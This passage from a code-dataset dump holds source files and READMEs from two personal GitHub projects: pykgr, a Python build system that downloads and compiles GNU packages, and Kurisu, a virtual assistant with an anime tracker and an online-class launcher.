self.shell.cd(self.build_directory)\\n\\n self.pre_configure_run()\\n self.configure()\\n\\n def pre_configure_run(self):\\n # Should be overwritten\\n pass\\n\\n def untar(self):\\n self.shell.tar(\\n \\\"xvf\\\",\\n pykgr.config.source_directory + \\\"/tarballs/\\\" + self.file_name,\\n \\\"-C\\\",\\n pykgr.config.source_directory\\n )\\n\\n\\nclass PackageList(object):\\n pass\"\n },\n {\n \"alpha_fraction\": 0.5396825671195984,\n \"alphanum_fraction\": 0.5502645373344421,\n \"avg_line_length\": 20,\n \"blob_id\": \"cc904a879bbcf3de28e95b4fe4be00b9de95907d\",\n \"content_id\": \"94d20cb437cf500119a402c7bac67600374b83a5\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 189,\n \"license_type\": \"permissive\",\n \"max_line_length\": 40,\n \"num_lines\": 9,\n \"path\": \"/tests/common.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\n\\n\\ndef get_current_path():\\n path = os.environ['PWD']\\n split_path = path.split(\\\"/\\\")\\n if split_path[-1] == \\\"tests\\\":\\n path = \\\"/\\\".join(split_path[:-1])\\n return path\\n\"\n },\n {\n \"alpha_fraction\": 0.6200640201568604,\n \"alphanum_fraction\": 0.6456776857376099,\n \"avg_line_length\": 24.324323654174805,\n \"blob_id\": \"c78af2e86e9df3096e62daa7053f533f43121a70\",\n \"content_id\": \"619558f1e88628a842c0bbf3b30494de38c1cdc1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 937,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 37,\n \"path\": \"/tests/test_003-package.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nimport os\\npykgr.config.setup(\\\"/tmp/pykgr_test\\\")\\n\\n\\nclass Hello(pykgr.Package):\\n file_url = \\\"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\\\"\\n file_name = \\\"hello-2.9.tar.gz\\\"\\n name = \\\"hello\\\"\\n version = \\\"2.9\\\"\\n\\n\\nclass Vim(pykgr.Package):\\n file_url = \\\"https://github.com/vim/vim/archive/refs/tags/v8.2.3301.tar.gz\\\"\\n file_name = \\\"v8.2.3301.tar.gz\\\"\\n name = \\\"vim\\\"\\n version = \\\"8.2.3301\\\"\\n compile_directory = \\\"/src\\\"\\n no_build_dir=True\\n\\n def pre_configure_run(self):\\n # Already should be in `working_dir`\\n self.shell.make(\\\"distclean\\\", display_output=True)\\n\\n\\ndef test_build_packages():\\n env = pykgr.Environment()\\n\\n env.build_package(Hello)\\n assert os.path.exists(pykgr.config.packages_directory+\\\"/bin/hello\\\") is True\\n\\n # env.build_package(Vim)\\n # assert os.path.exists(pykgr.config.packages_directory+\\\"/bin/vim\\\") is True\\n\\n\\nif __name__ == \\\"__main__\\\":\\n test_build_packages()\\n\"\n },\n {\n \"alpha_fraction\": 0.7096773982048035,\n \"alphanum_fraction\": 0.7143980860710144,\n \"avg_line_length\": 29.214284896850586,\n \"blob_id\": \"9b7724f08f17f63a38ed8ca69903eca5ebce214c\",\n \"content_id\": \"b902a4d6e9c6bdfcd603666426f000815bdd6550\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1271,\n \"license_type\": \"permissive\",\n \"max_line_length\": 84,\n \"num_lines\": 42,\n \"path\": \"/README.md\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# pykgr\\n\\n## A simple, user focused, build system (for learning purposes)\\n\\nYou will want to edit the pykgr.json file in the root of this repo to \\npoint to the repos location. Alternatively you can setup a \\n.pykgr.json and pip install it (but use any other dir as the one in \\nthis directory will overwrite certain configurations.)\\n\\nThen just `python -m pykgr --init --build-toolchain -p base.packages.python.Python`\\n\\nThe packages module is located in the `base` directory which is imported by default.\\nYou can pass any arbitrary directory with submodules to then use, e.g. this \\ndirectory\\n\\n . mypackages\\n . recipes\\n . hello.py\\n . python.py\\n\\nwould allow you to install vim like so\\n\\n`python -m pykgr -p mypackages.recipes.hello.Hello`\\n\\nIt can also be used in code, like this\\n\\n```\\nimport pykgr\\n\\nclass Hello(pykgr.Package):\\n file_url = \\\"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\\\"\\n file_name = \\\"hello-2.9.tar.gz\\\"\\n name = \\\"hello\\\"\\n version = \\\"2.9\\\"\\n \\nenv = pykgr.Environment()\\nenv.build_package(Hello)\\n```\\n\\nWhich will build the package. The goal is to allow people to maintain a git repo\\nsimilar to mypackages, that they could then pull from and build a root-free system\\nof packages that, by default, install to $HOME/pykgr.\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6732673048973083,\n \"alphanum_fraction\": 0.6732673048973083,\n \"avg_line_length\": 16.823530197143555,\n \"blob_id\": \"2578814a7828394b513b1ce3b89a60a21891f629\",\n \"content_id\": \"11bac6f4bac00be1a453e591f44f9cd2c29fc446\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 303,\n \"license_type\": \"permissive\",\n \"max_line_length\": 53,\n \"num_lines\": 17,\n \"path\": \"/tests/test_002-environment.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"TEST_DIR=\\\"/tmp/pykgr_test\\\"\\n\\nimport os\\n# os.environ[\\\"root_directory\\\"] = TEST_DIR # No choice\\nimport pykgr\\npykgr.config.setup(TEST_DIR)\\nfrom pykgr.environment import initialize\\n\\n\\ndef test_setup():\\n initialize()\\n\\n assert os.path.exists(TEST_DIR) == True\\n\\n\\nif __name__ == \\\"__main__\\\":\\n test_setup()\\n\"\n },\n {\n \"alpha_fraction\": 0.5631188154220581,\n \"alphanum_fraction\": 0.5878713130950928,\n \"avg_line_length\": 31.31999969482422,\n \"blob_id\": \"0a913efc8ae1e9a7bf8ddb886d57734f0857e64a\",\n \"content_id\": \"4fc90f4092bb8b25af7138fa24c207c63e7d9199\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 808,\n \"license_type\": \"permissive\",\n \"max_line_length\": 85,\n \"num_lines\": 25,\n \"path\": \"/base/packages/gcc.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nimport os\\n\\n\\nclass Gcc(pykgr.Package):\\n file_url = \\\"http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.xz\\\"\\n file_name = \\\"gcc-10.2.0.tar.xz\\\"\\n name = \\\"gcc\\\"\\n version = \\\"10.2.0\\\"\\n\\n def configure(self):\\n self.shell.command(\\n \\\"%s/configure\\\" % self.code_directory,\\n \\\"--build=x86_64-linux-gnu\\\",\\n \\\"--prefix=%s\\\" % pykgr.config.builder_directory,\\n \\\"--enable-checking=release\\\",\\n \\\"--enable-languages=c,c++,fortran\\\",\\n \\\"--disable-bootstrap\\\",\\n \\\"--disable-multilib\\\"\\n ).run(display_output = True)\\n\\n def pre_configure_run(self):\\n self.shell.cd(self.working_directory)\\n self.shell.command(\\\"contrib/download_prerequisites\\\").run(display_output=True)\\n self.shell.cd(self.build_directory)\\n\"\n },\n {\n \"alpha_fraction\": 0.6113536953926086,\n \"alphanum_fraction\": 0.6113536953926086,\n \"avg_line_length\": 20.302326202392578,\n \"blob_id\": \"accc5f0fd83a56717ec353d6da5f421fb8229f5a\",\n \"content_id\": \"936620f7a6e11dc66e8cf1ba017c7193aa9ebe15\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 916,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 43,\n \"path\": \"/pykgr/environment.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nfrom pykgr import config\\nfrom pykgr.builder import Builder\\n\\n\\nclass Environment(object):\\n builder = None\\n variables = None\\n \\n def __init__(self):\\n self.variables = dict(os.environ)\\n self.builder = Builder(\\n directory=config.builder_directory\\n )\\n\\n def build_builder(self):\\n pass\\n\\n def build_package(self, package_name):\\n self.builder.build(package_name)\\n\\n def __str__(self):\\n return \\\"<Environment: %s>\\\" % id(self)\\n\\n\\ndef build_directories():\\n if not os.path.exists(config.root_directory):\\n os.mkdir(config.root_directory)\\n for d in [\\n config.main_directory,\\n config.source_directory,\\n config.source_tarballs_directory,\\n config.library_directory\\n ]:\\n if not os.path.exists(d):\\n os.mkdir(d)\\n\\n\\ndef initialize():\\n build_directories()\\n env = Environment()\\n\\n return env \"\n },\n {\n \"alpha_fraction\": 0.5757575631141663,\n \"alphanum_fraction\": 0.6060606241226196,\n \"avg_line_length\": 10.333333015441895,\n \"blob_id\": \"b154ca971a3d0ff465bc3608ff13acdc57199627\",\n \"content_id\": \"9a27a108a0aeb55518ec32041f5cdb0406e740c0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 33,\n \"license_type\": \"permissive\",\n \"max_line_length\": 20,\n \"num_lines\": 3,\n \"path\": \"/pykgr.sh\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n\\npython3 -m pykgr $@;\"\n },\n {\n \"alpha_fraction\": 0.8590909242630005,\n \"alphanum_fraction\": 0.8590909242630005,\n \"avg_line_length\": 35.83333206176758,\n \"blob_id\": \"a6d9e91f90982aee44bb85de3321a73db06b0566\",\n \"content_id\": \"e49160aca6e63a8aa11d0940b9766eea7d12fe1d\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 220,\n \"license_type\": \"permissive\",\n \"max_line_length\": 46,\n \"num_lines\": 6,\n \"path\": \"/pykgr/__init__.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from pykgr.package import Package\\nfrom pykgr.shell import Shell\\nfrom pykgr.configuration import conf as config\\nfrom pykgr.environment import Environment\\nfrom pykgr.builder import Builder\\nfrom pykgr.package import Package\"\n },\n {\n \"alpha_fraction\": 0.5197018384933472,\n \"alphanum_fraction\": 0.5214767456054688,\n \"avg_line_length\": 26.900989532470703,\n \"blob_id\": \"c37c781bd30dbbd7b35185d6b4a8878382040c91\",\n \"content_id\": \"df474d736258ac87194cf114080b6d883a645873\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2817,\n \"license_type\": \"permissive\",\n \"max_line_length\": 73,\n \"num_lines\": 101,\n \"path\": \"/pykgr/shell.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport subprocess\\nimport sys\\nimport pykgr\\n\\nclass Shell(object):\\n working_dir = None\\n # A pythonic shell\\n\\n def __getattribute__(self, key):\\n try:\\n data = object.__getattribute__(self, key)\\n return data\\n except AttributeError as err:\\n if key in os.environ:\\n return os.environ.get(key)\\n else:\\n return Command(key)\\n\\n def __new__(cls, *args, **kwargs):\\n # `args` are treated as arguments into a shell,\\n # e.g. `Shell(\\\"ls -l\\\")` or `Shell(\\\"ls\\\", \\\"-l\\\")`\\n # returns the stdout of `/bin/sh -c \\\"ls -l\\\"`\\n # while `Shell(\\\"ls\\\")` returns a \\\"program\\\" (below.)\\n #\\n # Kwargs are environment variables, e.g.\\n # Shell(\\\"echo $test\\\", test=\\\"world\\\") is akin\\n # to test=\\\"world\\\" echo $test.\\n #\\n # An empty class returns a blank shell instance,\\n # for \\\"interactive\\\" mode like `sh = Shell(); sh.command(\\\"ls -l\\\")`\\n #\\n # For a blank shell in a given folder you would, e.g.\\n # Shell(PWD=\\\"/my/source/code/folder\\\").command(\\\"configure -flag\\\")\\n # or\\n # Shell(PWD=\\\"/my/source/code/folder\\\").configure(\\\"-flag\\\")\\n if len(args):\\n print(args)\\n\\n if len(kwargs):\\n for key in kwargs:\\n if key == \\\"PWD\\\":\\n os.chdir(kwargs.get(\\\"PWD\\\"))\\n os.environ[key] = kwargs.get(key)\\n\\n self = super(Shell, cls).__new__(cls)\\n return self\\n\\n def __str__(self):\\n return \\\"<Shell @ %s>\\\" % (\\n os.environ.get('PWD')\\n )\\n\\n def cd(self, directory):\\n os.chdir(directory)\\n os.environ[\\\"PWD\\\"] = directory\\n\\n def command(self, *args, **kwargs):\\n cmd = args[0]\\n arguments = []\\n if len(args) >= 2:\\n arguments = args[1:]\\n\\n return Command(cmd, *arguments, **kwargs)\\n\\n\\nclass Command:\\n args = None\\n env = None\\n program = None\\n\\n def __call__(self, *args, **kwargs):\\n self.args = args\\n\\n return self.run(display_output=kwargs.get('display_output'))\\n\\n def __init__(self, command, *args, **kwargs):\\n self.program = command\\n self.args = args\\n self.env = kwargs\\n\\n def run(self, display_output = False):\\n command_line = [\\n self.program\\n ] + [e for e in self.args]\\n\\n process = subprocess.Popen(\\n command_line,\\n stdout=subprocess.PIPE,\\n stderr=subprocess.STDOUT\\n )\\n\\n if pykgr.config.verbose:\\n for line in iter(process.stdout.readline, b''):\\n sys.stdout.write(line.decode(\\\"utf-8\\\", \\\"strict\\\"))\\n\\n output, error = process.communicate()\\n if type(output) == bytes:\\n output = output.decode(\\\"utf-8\\\", \\\"strict\\\")\\n\\n return output\"\n },\n {\n \"alpha_fraction\": 0.5664160251617432,\n \"alphanum_fraction\": 0.5889724493026733,\n \"avg_line_length\": 25.600000381469727,\n \"blob_id\": \"498b268dc25f252586fe023c6ddb94a0779f58bf\",\n \"content_id\": \"48503c67bfa47d8f91f1d905bf5d2b9014adef18\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 399,\n \"license_type\": \"permissive\",\n \"max_line_length\": 63,\n \"num_lines\": 15,\n \"path\": \"/base/packages/glibc.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nimport os\\n\\n\\nclass Glibc(pykgr.Package):\\n file_url = \\\"http://ftp.gnu.org/gnu/glibc/glibc-2.32.tar.xz\\\"\\n file_name = \\\"glibc-2.32.tar.xz\\\"\\n name = \\\"glibc\\\"\\n version = \\\"2.32\\\"\\n \\n def configure(self):\\n self.shell.command(\\n \\\"%s/configure\\\" % self.code_directory,\\n \\\"--prefix=%s\\\" % pykgr.config.library_directory\\n ).run(display_output = True)\\n\"\n },\n {\n \"alpha_fraction\": 0.565016508102417,\n \"alphanum_fraction\": 0.5653465390205383,\n \"avg_line_length\": 30.24742317199707,\n \"blob_id\": \"10ef7f68a02ae1eab212e1b4515f52fccadcf4a3\",\n \"content_id\": \"ec37b1b16e447fb860b065c8fd4aa869ff9f9a59\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3030,\n \"license_type\": \"permissive\",\n \"max_line_length\": 128,\n \"num_lines\": 97,\n \"path\": \"/pykgr/configuration.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport json\\n\\nclass Configuration(object):\\n prefix = \\\"pykgr_\\\"\\n\\n def __init__(self):\\n self.setup()\\n\\n def __str__(self):\\n return \\\"<pykgr.Configuration %s>\\\" % str(self.all())\\n\\n def all(self):\\n buffer = {}\\n for key in self.keys():\\n buffer[key] = getattr(self, key)\\n\\n return buffer\\n\\n def from_file(self, json_file):\\n print(\\\"Loading Config\\\", json_file)\\n conf = None\\n with open(json_file, 'r') as fp:\\n conf = json.loads(fp.read())\\n fp.close()\\n\\n if conf:\\n keys = self.keys()\\n for k in conf:\\n if k in keys:\\n value = conf[k]\\n if \\\"{\\\" in value:\\n value = replace_vars(self, value)\\n setattr(self, k, value)\\n\\n def keys(self):\\n return [\\n key\\n for key in dir(self)\\n if \\\"__\\\" not in key and key != \\\"prefix\\\" and not callable(getattr(self, key))\\n ]\\n\\n def setup(self, root_dir=None):\\n self.root_directory = root_dir if root_dir else getenv(self.prefix, \\\"root_directory\\\", envget(\\\"HOME\\\"))\\n self.main_directory = getenv(self.prefix, \\\"main_directory\\\", \\\"%s/pykgr\\\" % self.root_directory)\\n \\n self.builder_directory = getenv(self.prefix, \\\"builder_directory\\\", \\\"%s/builder\\\" % self.main_directory)\\n self.library_directory = getenv(self.prefix, \\\"library_directory\\\", \\\"%s/library\\\" % self.main_directory)\\n self.packages_directory = getenv(self.prefix, \\\"packages_directory\\\", \\\"%s/packages\\\" % self.main_directory)\\n \\n self.source_directory = getenv(self.prefix, \\\"source_directory\\\", \\\"%s/source\\\" % self.main_directory)\\n self.source_tarballs_directory = getenv(self.prefix, \\\"source_tarballs_directory\\\", \\\"%s/tarballs\\\" % self.source_directory)\\n\\n self.toolchain_package_module = getenv(self.prefix, \\\"toolchain_package_module\\\", None)\\n self.main_package_module = getenv(self.prefix, \\\"main_package_module\\\", \\\"%s/packages\\\" % self.main_directory)\\n self.local_package_module = getenv(self.prefix, \\\"local_package_module\\\", None)\\n\\n self.make_opts = getenv(self.prefix, \\\"make_opts\\\", \\\"1\\\")\\n self.verbose = getenv(self.prefix, \\\"verbose\\\", False)\\n\\n\\ndef envget(key):\\n value = os.environ.get(key)\\n if value:\\n if value.strip() == \\\"True\\\":\\n value = True\\n elif value.strip() == \\\"False\\\":\\n value = False\\n return value\\n\\n\\ndef getenv(prefix, key, default_value = None):\\n key_name = \\\"%s%s\\\" % (\\n prefix,\\n key\\n )\\n \\n value = envget(key_name)\\n if not value:\\n value = default_value\\n return value\\n\\n\\ndef replace_vars(instance, text):\\n for key in instance.keys():\\n string_to_find = \\\"{%s}\\\" % key\\n if string_to_find in text:\\n value = object.__getattribute__(instance, key)\\n text = text.replace(\\n string_to_find,\\n value\\n )\\n\\n return text\\n\\n\\nconf = Configuration()\"\n },\n {\n \"alpha_fraction\": 0.5835051536560059,\n \"alphanum_fraction\": 0.6020618677139282,\n \"avg_line_length\": 29.3125,\n \"blob_id\": \"20816828500d7844d19a934edbbc52fff7718334\",\n \"content_id\": \"ab151749c6694955b0e7b9b63203df50ba498edf\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 485,\n \"license_type\": \"permissive\",\n \"max_line_length\": 69,\n \"num_lines\": 16,\n \"path\": \"/base/packages/binutils.py\",\n \"repo_name\": \"DylanEHolland/pykgr.old\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pykgr\\nimport os\\n\\n\\nclass Binutils(pykgr.Package):\\n file_url = \\\"http://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.xz\\\"\\n file_name = \\\"binutils-2.35.tar.xz\\\"\\n name = \\\"binutils\\\"\\n version = \\\"2.35\\\"\\n \\n def configure(self):\\n self.shell.command(\\n \\\"%s/configure\\\" % self.code_directory,\\n \\\"--prefix=%s\\\" % pykgr.config.builder_directory,\\n \\\"--with-lib-path=%s/lib\\\" % pykgr.config.library_directory\\n ).run(display_output = True)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":22,"string":"22"}}},{"rowIdx":2984067,"cells":{"repo_name":{"kind":"string","value":"sndev28/Kurisu-Virtual-Assistant"},"repo_url":{"kind":"string","value":"https://github.com/sndev28/Kurisu-Virtual-Assistant"},"snapshot_id":{"kind":"string","value":"8da3247d227186315bbc37a57e89f581534ddf99"},"revision_id":{"kind":"string","value":"7447935c8f87e5ba104174b8457beeba237fee35"},"directory_id":{"kind":"string","value":"d1722a7451a1c5c80688db8b673a2a8f8160091c"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-07-15T22:43:39.819966","string":"2023-07-15T22:43:39.819966"},"revision_date":{"kind":"timestamp","value":"2021-08-31T09:50:32","string":"2021-08-31T09:50:32"},"committer_date":{"kind":"timestamp","value":"2021-08-31T09:50:32","string":"2021-08-31T09:50:32"},"github_id":{"kind":"number","value":393433177,"string":"393,433,177"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5788876414299011,"alphanum_fraction":0.5913734436035156,"avg_line_length":25.454545974731445,"blob_id":"815cd8d322e0fbff377c92c7f50b49050a690068","content_id":"3ec34ed41d9b712cebb128857573bf198167de1d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":883,"license_type":"no_license","max_line_length":88,"num_lines":33,"path":"/kurisu/Notification Manager/animeTracker/animeTracker.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import requests\nimport time\n\n\ndef AnimeTracker(toast, URL):\n \n REFRESH_TIME = 12 * 60 * 60 # hours * min * secs // refresh time in seconds\n\n BASE_URL = URL + 'animetracker'\n\n print('Anime tracker ready!')\n\n while True:\n response = requests.get(BASE_URL, headers = {'criterion': 'recentAired'})\n\n if response.status_code != 200:\n print('Error in anime tracker! Exited!!')\n break\n\n listOfRecentAired = response.json().get('recentAired')\n\n if listOfRecentAired != None and listOfRecentAired != []:\n notificationMessage = 'Recently aired : \\n'\n for anime in listOfRecentAired:\n notificationMessage += '• ' + anime.get('name') + '\\n'\n\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\n\n\n time.sleep(REFRESH_TIME)\n\n \n return\n\n\n \n\n"},{"alpha_fraction":0.49481865763664246,"alphanum_fraction":0.4993523359298706,"avg_line_length":25.35344886779785,"blob_id":"cd43cea5f1ff18d720dc76d253d0c69b8ed46de4","content_id":"a469aa425bd2e1a1415fc55a7c1cbb9f1bf9b74e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3088,"license_type":"no_license","max_line_length":121,"num_lines":116,"path":"/kurisu/Notification Manager/classScheduler/classScheduler.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import requests\nfrom datetime import datetime\nimport webbrowser as wb\nimport tkinter\nfrom tkinter import messagebox\nimport psutil\nimport time\n\nweekdays = {\n 0 : 'monday',\n 1 : 'tuesday',\n 2 : 'wednesday',\n 3 : 'thursday',\n 4 : 'friday',\n 5 : 'saturday',\n 6 : 'sunday'\n}\n\ndef getSchedule(day, URL):\n print('Getting schedules for the day!')\n BASE_URL = URL + 'classSchedules'\n response = requests.put(BASE_URL, data = {'day': day})\n\n return response.json()[day]\n\ndef killZoom():\n for proc in psutil.process_iter():\n if 'Zoom' in proc.name():\n proc.kill()\n\n\ndef ClassScheduler(URL, autoMode = False):\n\n parent = tkinter.Tk()\n parent.overrideredirect(1)\n parent.withdraw()\n \n REFRESH_TIME = 10 * 60 # min * secs // refresh time in seconds\n\n classInProgress = None\n previousCheckTime = datetime.now()\n\n day = weekdays[int(datetime.now().weekday())]\n\n schedules = getSchedule(day, URL)\n\n\n while True:\n day = weekdays[int(datetime.now().weekday())]\n\n currentTime = datetime.now()\n\n if (currentTime - previousCheckTime).seconds >= REFRESH_TIME:\n previousCheckTime = currentTime\n schedules = getSchedule(day, URL)\n\n\n if classInProgress != None:\n\n endHour, endMin = classInProgress['endTime'].split(':')\n\n endTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(endHour),\n minute = int(endMin)\n ) \n\n if currentTime > endTime:\n if autoMode == False:\n response = messagebox.askokcancel('Kurisu', 'Do you want to close the current class?', parent=parent)\n if response == True:\n killZoom()\n \n else:\n killZoom()\n\n classInProgress = None\n\n\n \n\n for _class in schedules:\n startHour, startMin = _class['startTime'].split(':')\n endHour, endMin = _class['endTime'].split(':')\n\n startTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(startHour),\n minute = int(startMin)\n )\n\n endTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(endHour),\n minute = int(endMin)\n )\n \n \n\n if currentTime >= startTime and currentTime < endTime:\n if classInProgress != _class:\n classInProgress = _class\n if classInProgress != None:\n killZoom()\n\n wb.open(_class['link']) \n break\n \n\n time.sleep(60)\n \n \n\n\n\n\n\n"},{"alpha_fraction":0.6689922213554382,"alphanum_fraction":0.6837209463119507,"avg_line_length":26.717391967773438,"blob_id":"87eb0072a4dbd98c64eff4c17ad880c381d190ac","content_id":"d5eb06970fc20577417f0d253c6c70885a19b1f4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1290,"license_type":"no_license","max_line_length":94,"num_lines":46,"path":"/kurisu/Notification Manager/kurisu.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import time\nimport threading\nfrom win10toast import ToastNotifier\n\nfrom scheduleManager.scheduleManager import ScheduleManager\nfrom animeTracker.animeTracker import AnimeTracker\nfrom classScheduler.classScheduler import ClassScheduler\n\ntoast = ToastNotifier()\n\nURL = 'http://192.168.1.35:5000/'\n\n\n\nif __name__ == '__main__':\n\n\n #Schedule Manager\n\n # scheduleLoop = threading.Thread(target = ScheduleManager, args = (toast, URL))\n # scheduleLoop.setDaemon(True)\n # scheduleLoop.start()\n\n #Anime Tracker\n \n animeLoop = threading.Thread(target = AnimeTracker, args = (toast, URL))\n animeLoop.setDaemon(True)\n animeLoop.start()\n\n #Class Scheduler\n autoMode = input('Do you want to run class scheduler in auto mode...!? y/n')\n if autoMode == 'n':\n autoMode = False\n else:\n autoMode = True\n classScheduleLoop = threading.Thread(target = ClassScheduler, args = (URL, autoMode))\n classScheduleLoop.setDaemon(True)\n classScheduleLoop.start()\n\n\n # while scheduleLoop.is_alive() and animeLoop.is_alive() and classScheduleLoop.is_alive():\n # print('Kurisu runnning!')\n # time.sleep(60)\n while animeLoop.is_alive() and classScheduleLoop.is_alive():\n print('Kurisu runnning!')\n time.sleep(60)\n \n\n \n"},{"alpha_fraction":0.661044180393219,"alphanum_fraction":0.6634538173675537,"avg_line_length":21.23214340209961,"blob_id":"e3891e1fecad11fdfab711f0f70694b2813161d8","content_id":"77ea3d2209f316e0c6ad1386ae9d4834228792e5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2490,"license_type":"no_license","max_line_length":314,"num_lines":112,"path":"/README.md","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"# Kurisu Virtual Assistant\n\nA virtual assistant to manage my schedules and random stuff. Backend written in python and UI in dart.\n\n \n \n\n### _Features_\n\n \n\n```\n\nDaily schedule manager in connection with Google Calendar\n\nAnime tracker\n\nOnline class launcher\n\n```\n\n \n \n \n\n### _Agenda_\n\n \n\n```\n\nYoutube tracker\n\n\n```\n\n \n\n### _Nomenclature_\n\n \n\n| Name | Usage |\n| ------ | ------ |\n| Amadeus | Server code for the assistant |\n| Kurisu | Windows UI client app |\n| Christina | Android client app |\n\n \n\n### _Instructions to setup_\n\nComing soon...\n\n \n\n### _Amadeus API Reference_\n\n \n\n**Schedule Manager**\n\nEndpoint : schedules \n\n| Method | Response |\n| ------ | ------ |\n| GET | Retrieves Google Calendar |\n| POST | Retrieves events based on criteria.<br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'all', 'today', 'upcoming' |\n| PUT | Creates new event.<br>**Data to be sent** : 'summary', 'description', 'eventStartTime', 'eventEndTime', 'utcoffset'<br>Note that **eventStartTime** and **eventEndTime** have to be sent in the format 'yyyy-mm-ddThh:mm:ss'(**Note**: The 'T' is a placeholder and is compulsory). **utcoffset** format '+hh:mm'|\n| DELETE | Deletes an event using event ID. Data to be sent : 'id' |\n\n \n<br><br>\n**Anime Tracker**\n\nEndpoint : animetracker\n\n| Method | Response |\n| ------ | ------ |\n| GET | Retrieves tracking anime list based on criteria. <br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'tracking', 'recentAired'. 'recentAired' returns tracking anime aired in past 24 hours and 'tracking' returns all anime being tracked|\n| POST | Adds anime to be tracked.<br>**Data to be sent** : 'id', 'name', 'posterLink' <br>Note that **id** is the ID of the anime returned through PUT or GET|\n| PUT | Returns list of anime based on search query.<br>**Data to be sent** : 'searchQuery'|\n| DELETE | Deletes an anime being tracked.<br>**Data to be sent** : 'id' <br>Note that **id** is the ID of the anime returned through PUT or GET |\n \n \n \n\n### _License_\n\n \n\n```\n\nOpen to anyone to copy, modify and use as they see fit with proper credits to the coder.\n\n```\n\n \n\n### _Suggestions or Issues_\n\n \n\nUse issues to raise any issues and use this 